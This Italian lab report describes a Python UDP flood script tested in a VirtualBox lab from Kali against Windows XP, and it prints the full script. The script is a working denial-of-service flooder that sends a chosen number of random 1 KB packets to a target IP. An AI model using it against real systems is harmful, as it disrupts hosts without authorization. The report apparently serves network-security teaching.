Report Simulazione UDP Flood

Obiettivo

Simulare un attacco UDP Flood utilizzando Python, inviando un numero elevato di pacchetti UDP verso una macchina target per saturare la porta o verificare la resilienza del sistema.

Implementazione del Codice

1. Input dell'utente:
    - Richiesta dell'indirizzo IP della macchina target.
    - Verifica della validità sintattica dell'IP tramite il modulo ipaddress.
    - Test di raggiungibilità dell'host con il ping tramite il modulo subprocess,
      Se il ping fallisce, il programma richiede un nuovo IP.
    - Richiesta del numero di pacchetti da inviare.
2. Creazione del socket UDP:
    - Il programma utilizza socket.socket() per creare un socket UDP.
    - La porta locale viene assegnata automaticamente dal sistema usando sock.bind(('', 0)).
3. Generazione e invio dei pacchetti:
    - I pacchetti di 1 KB vengono generati casualmente con random.randbytes(1024).
    - I pacchetti vengono inviati all'indirizzo IP target tramite il metodo sock.sendto().
4. Output:
    - Durante l'esecuzione, viene mostrato un messaggio per ogni pacchetto inviato.
    - Al termine, viene comunicato il completamento dell'operazione.

Funzioni principali

- Validazione IP: Controlla che l'IP inserito dall'utente sia valido.
- Ping dell'host: Verifica che l'host risponda ai pacchetti ICMP prima di procedere.
- Assegnazione automatica della porta: Il sistema assegna una porta UDP locale disponibile.

Test

- Macchina attaccante: Kali Linux.
- Macchina target: Windows XP.
- Connessione tra le macchine: Configurata tramite rete interna di VirtualBox.

Risultato:

- Invio di pacchetti UDP completato con successo.

Conclusioni

- Efficienza: Lo script si è dimostrato efficace nell'invio rapido di pacchetti UDP verso un target, con un controllo preventivo sulla validità dell'IP e la raggiungibilità dell'host tramite ping. La gestione automatica della porta locale ha semplificato la configurazione.
- Versatilità: La possibilità di generare pacchetti casuali e di definire un numero arbitrario di invii rende lo script flessibile per vari scenari di test.

Limitazioni:

- Il protocollo UDP non fornisce conferme di ricezione, quindi non è possibile verificare se i pacchetti sono stati elaborati correttamente dal target.
- Se il target ha ICMP disabilitato, il ping non è utile per verificare la raggiungibilità, e un approccio alternativo (come la scansione delle porte) sarebbe necessario.
- Sicurezza e Legalità: Questo script deve essere utilizzato esclusivamente in ambienti di test controllati, con autorizzazione esplicita. L'uso in ambienti non autorizzati può violare leggi locali e internazionali.

In sintesi, il progetto ha raggiunto il suo obiettivo fornendo uno strumento semplice e configurabile per simulare un attacco UDP Flood in un contesto di test, contribuendo a migliorare la comprensione delle vulnerabilità e delle difese di rete.

N.B. nella pagina successiva troviamo il codice

CODICE:

```
import socket
import random
import ipaddress
import subprocess

# Funzione per controllare la validità dell'IP
def valida_ip(ip):
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        return False

# Funzione per verificare se l'host risponde al ping
def host_raggiungibile(ip):
    try:
        risultato = subprocess.run(
            ["ping", "-c", "1", ip], stdout=subprocess.PIPE,
stderr=subprocess.PIPE
        )
        return risultato.returncode == 0  # 0 significa che il ping è
riuscito
    except Exception:
        return False

# Richiesta dell'IP Target
while True:
    ip_target = input("Inserisci l'indirizzo IP della macchina target: ")
    if valida_ip(ip_target):
        if host_raggiungibile(ip_target):
            print("Host raggiungibile!")
            break
        else:
            print("Host non raggiungibile. Controlla l'IP.")
    else:
        print("IP non valido. Riprova.")

# Richiesta del numero di pacchetti da inviare
numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare:
"))

# Creazione del socket UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Assegna automaticamente una porta disponibile
sock.bind(('', 0))
porta_locale = sock.getsockname()[1]  # Ottieni la porta assegnata
```

```
print(f"Porta locale automatica assegnata: {porta_locale}")

# Generazione e invio dei pacchetti
print("Inizio invio pacchetti...")
for i in range(numero_pacchetti):
    pacchetto = random.randbytes(1024)  # Pacchetto di 1 KB
    sock.sendto(pacchetto, (ip_target, porta_locale))  # Invia pacchetto
all'IP target
    print(f"Pacchetto {i + 1} inviato.")

print("Invio pacchetti completato!")
sock.close()
```